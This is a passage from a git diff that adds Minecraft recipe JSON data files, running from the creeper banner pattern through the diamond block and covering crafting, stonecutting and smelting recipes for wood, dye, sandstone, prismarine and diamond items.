b/src/data/minecraft/recipes/creeper_banner_pattern.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:paper" + }, + { + "item": "minecraft:creeper_head" + } + ], + "result": { + "item": "minecraft:creeper_banner_pattern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_button.json b/src/data/minecraft/recipes/crimson_button.json new file mode 100644 index 00000000..4dc921e9 --- /dev/null +++ b/src/data/minecraft/recipes/crimson_button.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wooden_button", + "ingredients": [ + { + "item": "minecraft:crimson_planks" + } + ], + "result": { + "item": "minecraft:crimson_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_door.json b/src/data/minecraft/recipes/crimson_door.json new file mode 100644 index 00000000..f25d8256 --- /dev/null +++ b/src/data/minecraft/recipes/crimson_door.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_door", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:crimson_planks" + } + }, + "result": { + "item": "minecraft:crimson_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_fence.json b/src/data/minecraft/recipes/crimson_fence.json new file mode 100644 index 00000000..facc629f --- /dev/null +++ b/src/data/minecraft/recipes/crimson_fence.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence", + "pattern": [ + "W#W", + "W#W" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:crimson_planks" + } + }, + "result": { + "item": "minecraft:crimson_fence", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_fence_gate.json b/src/data/minecraft/recipes/crimson_fence_gate.json new file mode 100644 index 00000000..7d576692 --- /dev/null +++ b/src/data/minecraft/recipes/crimson_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence_gate", + "pattern": [ + "#W#", + "#W#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:crimson_planks" + } + }, + "result": { + "item": "minecraft:crimson_fence_gate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_hyphae.json b/src/data/minecraft/recipes/crimson_hyphae.json new file mode 100644 index 00000000..5fb2cbe9 --- /dev/null +++ b/src/data/minecraft/recipes/crimson_hyphae.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:crimson_stem" + } + }, + "result": { + "item": "minecraft:crimson_hyphae", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_planks.json b/src/data/minecraft/recipes/crimson_planks.json new file mode 100644 index 00000000..cbc44f4f --- /dev/null +++ b/src/data/minecraft/recipes/crimson_planks.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "planks", + "ingredients": [ + { + "tag": "minecraft:crimson_stems" + } + ], + "result": { + "item": "minecraft:crimson_planks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_pressure_plate.json b/src/data/minecraft/recipes/crimson_pressure_plate.json new file mode 100644 index 00000000..d91f19bb --- /dev/null +++ b/src/data/minecraft/recipes/crimson_pressure_plate.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_pressure_plate", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:crimson_planks" + } + }, + "result": { + "item": "minecraft:crimson_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_sign.json b/src/data/minecraft/recipes/crimson_sign.json new file mode 100644 index 00000000..e105a4bc --- /dev/null +++ b/src/data/minecraft/recipes/crimson_sign.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sign", + "pattern": [ + "###", + "###", + " X " + ], + "key": { + "#": { + "item": "minecraft:crimson_planks" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:crimson_sign", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_slab.json b/src/data/minecraft/recipes/crimson_slab.json new file mode 100644 index 00000000..8a1f6374 --- /dev/null +++ b/src/data/minecraft/recipes/crimson_slab.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_slab", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:crimson_planks" + } + }, + "result": { + "item": "minecraft:crimson_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_stairs.json b/src/data/minecraft/recipes/crimson_stairs.json new file mode 100644 index 00000000..8799b69d --- /dev/null +++ b/src/data/minecraft/recipes/crimson_stairs.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_stairs", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:crimson_planks" + } + }, + "result": { + "item": "minecraft:crimson_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crimson_trapdoor.json b/src/data/minecraft/recipes/crimson_trapdoor.json new file mode 100644 index 00000000..064cbc84 --- /dev/null +++ b/src/data/minecraft/recipes/crimson_trapdoor.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_trapdoor", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:crimson_planks" + } + }, + "result": { + "item": "minecraft:crimson_trapdoor", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/crossbow.json b/src/data/minecraft/recipes/crossbow.json new file mode 100644 index 00000000..cc274fc0 --- /dev/null +++ b/src/data/minecraft/recipes/crossbow.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#\u0026#", + "~$~", + " # " + ], + "key": { + "~": { + "item": "minecraft:string" + }, + "#": { + "item": "minecraft:stick" + }, + "\u0026": { + "item": "minecraft:iron_ingot" + }, + "$": { + "item": "minecraft:tripwire_hook" + } + }, + "result": { + "item": "minecraft:crossbow" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_red_sandstone.json b/src/data/minecraft/recipes/cut_red_sandstone.json new file mode 100644 index 00000000..54c744bf --- /dev/null +++ b/src/data/minecraft/recipes/cut_red_sandstone.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:red_sandstone" + } + }, + "result": { + "item": "minecraft:cut_red_sandstone", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_red_sandstone_from_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/cut_red_sandstone_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..b34a94df --- /dev/null +++ b/src/data/minecraft/recipes/cut_red_sandstone_from_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_sandstone" + }, + "result": "minecraft:cut_red_sandstone", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_red_sandstone_slab.json b/src/data/minecraft/recipes/cut_red_sandstone_slab.json new file mode 100644 index 00000000..f77bd256 --- /dev/null +++ b/src/data/minecraft/recipes/cut_red_sandstone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:cut_red_sandstone" + } + }, + "result": { + "item": "minecraft:cut_red_sandstone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_red_sandstone_slab_from_cut_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/cut_red_sandstone_slab_from_cut_red_sandstone_stonecutting.json new file mode 100644 index 00000000..173b64a1 --- /dev/null +++ b/src/data/minecraft/recipes/cut_red_sandstone_slab_from_cut_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:cut_red_sandstone" + }, + "result": "minecraft:cut_red_sandstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_red_sandstone_slab_from_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/cut_red_sandstone_slab_from_red_sandstone_stonecutting.json new file mode 100644 index 00000000..fcff6d7c --- /dev/null +++ b/src/data/minecraft/recipes/cut_red_sandstone_slab_from_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:red_sandstone" + }, + "result": "minecraft:cut_red_sandstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_sandstone.json b/src/data/minecraft/recipes/cut_sandstone.json new file mode 100644 index 00000000..471b30ff --- /dev/null +++ b/src/data/minecraft/recipes/cut_sandstone.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:sandstone" + } + }, + "result": { + "item": "minecraft:cut_sandstone", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_sandstone_from_sandstone_stonecutting.json b/src/data/minecraft/recipes/cut_sandstone_from_sandstone_stonecutting.json new file mode 100644 index 00000000..f049f641 --- /dev/null +++ b/src/data/minecraft/recipes/cut_sandstone_from_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:sandstone" + }, + "result": "minecraft:cut_sandstone", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_sandstone_slab.json b/src/data/minecraft/recipes/cut_sandstone_slab.json new file mode 100644 index 00000000..e5b86b04 --- /dev/null +++ b/src/data/minecraft/recipes/cut_sandstone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:cut_sandstone" + } + }, + "result": { + "item": "minecraft:cut_sandstone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_sandstone_slab_from_cut_sandstone_stonecutting.json b/src/data/minecraft/recipes/cut_sandstone_slab_from_cut_sandstone_stonecutting.json new file mode 100644 index 00000000..eeb425db --- /dev/null +++ b/src/data/minecraft/recipes/cut_sandstone_slab_from_cut_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:cut_sandstone" + }, + "result": "minecraft:cut_sandstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cut_sandstone_slab_from_sandstone_stonecutting.json b/src/data/minecraft/recipes/cut_sandstone_slab_from_sandstone_stonecutting.json new file mode 100644 index 00000000..5bfb4a32 --- /dev/null +++ b/src/data/minecraft/recipes/cut_sandstone_slab_from_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:sandstone" + }, + "result": "minecraft:cut_sandstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_banner.json b/src/data/minecraft/recipes/cyan_banner.json new file mode 100644 index 00000000..a1004f79 --- /dev/null +++ b/src/data/minecraft/recipes/cyan_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:cyan_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:cyan_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_bed.json b/src/data/minecraft/recipes/cyan_bed.json new file mode 100644 index 00000000..e396e047 --- /dev/null +++ b/src/data/minecraft/recipes/cyan_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:cyan_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:cyan_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_bed_from_white_bed.json b/src/data/minecraft/recipes/cyan_bed_from_white_bed.json new file mode 100644 index 00000000..88bb80ca --- /dev/null +++ b/src/data/minecraft/recipes/cyan_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:cyan_dye" + } + ], + "result": { + "item": "minecraft:cyan_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_carpet.json b/src/data/minecraft/recipes/cyan_carpet.json new file mode 100644 index 00000000..83c49eb2 --- /dev/null +++ b/src/data/minecraft/recipes/cyan_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:cyan_wool" + } + }, + "result": { + "item": "minecraft:cyan_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_carpet_from_white_carpet.json b/src/data/minecraft/recipes/cyan_carpet_from_white_carpet.json new file mode 100644 index 00000000..71013c6a --- /dev/null +++ b/src/data/minecraft/recipes/cyan_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:cyan_dye" + } + }, + "result": { + "item": "minecraft:cyan_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_concrete_powder.json b/src/data/minecraft/recipes/cyan_concrete_powder.json new file mode 100644 index 00000000..fae84bba --- /dev/null +++ b/src/data/minecraft/recipes/cyan_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:cyan_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:cyan_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_dye.json b/src/data/minecraft/recipes/cyan_dye.json new file mode 100644 index 00000000..58381b85 --- /dev/null +++ b/src/data/minecraft/recipes/cyan_dye.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:blue_dye" + }, + { + "item": "minecraft:green_dye" + } + ], + "result": { + "item": "minecraft:cyan_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_glazed_terracotta.json b/src/data/minecraft/recipes/cyan_glazed_terracotta.json new file mode 100644 index 00000000..25a8e476 --- /dev/null +++ b/src/data/minecraft/recipes/cyan_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:cyan_terracotta" + }, + "result": "minecraft:cyan_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_stained_glass.json b/src/data/minecraft/recipes/cyan_stained_glass.json new file mode 100644 index 00000000..33e2bd42 --- /dev/null +++ b/src/data/minecraft/recipes/cyan_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:cyan_dye" + } + }, + "result": { + "item": "minecraft:cyan_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_stained_glass_pane.json b/src/data/minecraft/recipes/cyan_stained_glass_pane.json new file mode 100644 index 00000000..c853586e --- /dev/null +++ b/src/data/minecraft/recipes/cyan_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:cyan_stained_glass" + } + }, + "result": { + "item": "minecraft:cyan_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/cyan_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..c673027a --- /dev/null +++ b/src/data/minecraft/recipes/cyan_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:cyan_dye" + } + }, + "result": { + "item": "minecraft:cyan_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_terracotta.json b/src/data/minecraft/recipes/cyan_terracotta.json new file mode 100644 index 00000000..a35c2d39 --- /dev/null +++ b/src/data/minecraft/recipes/cyan_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:cyan_dye" + } + }, + "result": { + "item": "minecraft:cyan_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/cyan_wool.json b/src/data/minecraft/recipes/cyan_wool.json new file mode 100644 index 00000000..7e161817 --- /dev/null +++ b/src/data/minecraft/recipes/cyan_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:cyan_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:cyan_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_boat.json b/src/data/minecraft/recipes/dark_oak_boat.json new file mode 100644 index 00000000..3ca003c1 --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_boat.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "boat", + "pattern": [ + "# #", + "###" + ], + "key": { + "#": { + "item": "minecraft:dark_oak_planks" + } + }, + "result": { + "item": "minecraft:dark_oak_boat" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_button.json b/src/data/minecraft/recipes/dark_oak_button.json new file mode 100644 index 00000000..bd19c4bc --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_button.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wooden_button", + "ingredients": [ + { + "item": "minecraft:dark_oak_planks" + } + ], + "result": { + "item": "minecraft:dark_oak_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_door.json b/src/data/minecraft/recipes/dark_oak_door.json new file mode 100644 index 00000000..08ce2b16 --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_door.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_door", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:dark_oak_planks" + } + }, + "result": { + "item": "minecraft:dark_oak_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_fence.json b/src/data/minecraft/recipes/dark_oak_fence.json new file mode 100644 index 00000000..469e5000 --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_fence.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence", + "pattern": [ + "W#W", + "W#W" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:dark_oak_planks" + } + }, + "result": { + "item": "minecraft:dark_oak_fence", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_fence_gate.json b/src/data/minecraft/recipes/dark_oak_fence_gate.json new file mode 100644 index 00000000..9448672e --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence_gate", + "pattern": [ + "#W#", + "#W#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:dark_oak_planks" + } + }, + "result": { + "item": "minecraft:dark_oak_fence_gate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_planks.json b/src/data/minecraft/recipes/dark_oak_planks.json new file mode 100644 index 00000000..215751f4 --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_planks.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "planks", + "ingredients": [ + { + "tag": "minecraft:dark_oak_logs" + } + ], + "result": { + "item": "minecraft:dark_oak_planks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_pressure_plate.json b/src/data/minecraft/recipes/dark_oak_pressure_plate.json new file mode 100644 index 00000000..359c41a1 --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_pressure_plate.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_pressure_plate", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:dark_oak_planks" + } + }, + "result": { + "item": "minecraft:dark_oak_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_sign.json b/src/data/minecraft/recipes/dark_oak_sign.json new file mode 100644 index 00000000..047af17a --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_sign.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sign", + "pattern": [ + "###", + "###", + " X " + ], + "key": { + "#": { + "item": "minecraft:dark_oak_planks" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:dark_oak_sign", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_slab.json b/src/data/minecraft/recipes/dark_oak_slab.json new file mode 100644 index 00000000..f75c405c --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_slab.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_slab", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:dark_oak_planks" + } + }, + "result": { + "item": "minecraft:dark_oak_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_stairs.json b/src/data/minecraft/recipes/dark_oak_stairs.json new file mode 100644 index 00000000..abdb8d8a --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_stairs.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_stairs", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:dark_oak_planks" + } + }, + "result": { + "item": "minecraft:dark_oak_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_trapdoor.json b/src/data/minecraft/recipes/dark_oak_trapdoor.json new file mode 100644 index 00000000..a6ba90bd --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_trapdoor.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_trapdoor", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:dark_oak_planks" + } + }, + "result": { + "item": "minecraft:dark_oak_trapdoor", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_oak_wood.json b/src/data/minecraft/recipes/dark_oak_wood.json new file mode 100644 index 00000000..10bd96dd --- /dev/null +++ b/src/data/minecraft/recipes/dark_oak_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:dark_oak_log" + } + }, + "result": { + "item": "minecraft:dark_oak_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_prismarine.json b/src/data/minecraft/recipes/dark_prismarine.json new file mode 100644 index 00000000..fd9581a2 --- /dev/null +++ b/src/data/minecraft/recipes/dark_prismarine.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SSS", + "SIS", + "SSS" + ], + "key": { + "S": { + "item": "minecraft:prismarine_shard" + }, + "I": { + "item": "minecraft:black_dye" + } + }, + "result": { + "item": "minecraft:dark_prismarine" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_prismarine_slab.json b/src/data/minecraft/recipes/dark_prismarine_slab.json new file mode 100644 index 00000000..c2be0d04 --- /dev/null +++ b/src/data/minecraft/recipes/dark_prismarine_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:dark_prismarine" + } + }, + "result": { + "item": "minecraft:dark_prismarine_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_prismarine_slab_from_dark_prismarine_stonecutting.json b/src/data/minecraft/recipes/dark_prismarine_slab_from_dark_prismarine_stonecutting.json new file mode 100644 index 00000000..c416c88e --- /dev/null +++ b/src/data/minecraft/recipes/dark_prismarine_slab_from_dark_prismarine_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:dark_prismarine" + }, + "result": "minecraft:dark_prismarine_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_prismarine_stairs.json b/src/data/minecraft/recipes/dark_prismarine_stairs.json new file mode 100644 index 00000000..4e742175 --- /dev/null +++ b/src/data/minecraft/recipes/dark_prismarine_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:dark_prismarine" + } + }, + "result": { + "item": "minecraft:dark_prismarine_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/dark_prismarine_stairs_from_dark_prismarine_stonecutting.json b/src/data/minecraft/recipes/dark_prismarine_stairs_from_dark_prismarine_stonecutting.json new file mode 100644 index 00000000..a497f7f8 --- /dev/null +++ b/src/data/minecraft/recipes/dark_prismarine_stairs_from_dark_prismarine_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:dark_prismarine" + }, + "result": "minecraft:dark_prismarine_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/daylight_detector.json b/src/data/minecraft/recipes/daylight_detector.json new file mode 100644 index 00000000..6b3b61a1 --- /dev/null +++ b/src/data/minecraft/recipes/daylight_detector.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "GGG", + "QQQ", + "WWW" + ], + "key": { + "Q": { + "item": "minecraft:quartz" + }, + "G": { + "item": "minecraft:glass" + }, + "W": { + "tag": "minecraft:wooden_slabs" + } + }, + "result": { + "item": "minecraft:daylight_detector" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/detector_rail.json b/src/data/minecraft/recipes/detector_rail.json new file mode 100644 index 00000000..2d1c95da --- /dev/null +++ b/src/data/minecraft/recipes/detector_rail.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "X#X", + "XRX" + ], + "key": { + "R": { + "item": "minecraft:redstone" + }, + "#": { + "item": "minecraft:stone_pressure_plate" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:detector_rail", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond.json b/src/data/minecraft/recipes/diamond.json new file mode 100644 index 00000000..b90351af --- /dev/null +++ b/src/data/minecraft/recipes/diamond.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:diamond_block" + } + ], + "result": { + "item": "minecraft:diamond", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_axe.json b/src/data/minecraft/recipes/diamond_axe.json new file mode 100644 index 00000000..b77f0dfd --- /dev/null +++ b/src/data/minecraft/recipes/diamond_axe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + "X#", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_axe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/diamond_block.json b/src/data/minecraft/recipes/diamond_block.json new file mode 100644 index 00000000..d6bbb6de --- /dev/null +++ b/src/data/minecraft/recipes/diamond_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:diamond_block" + } 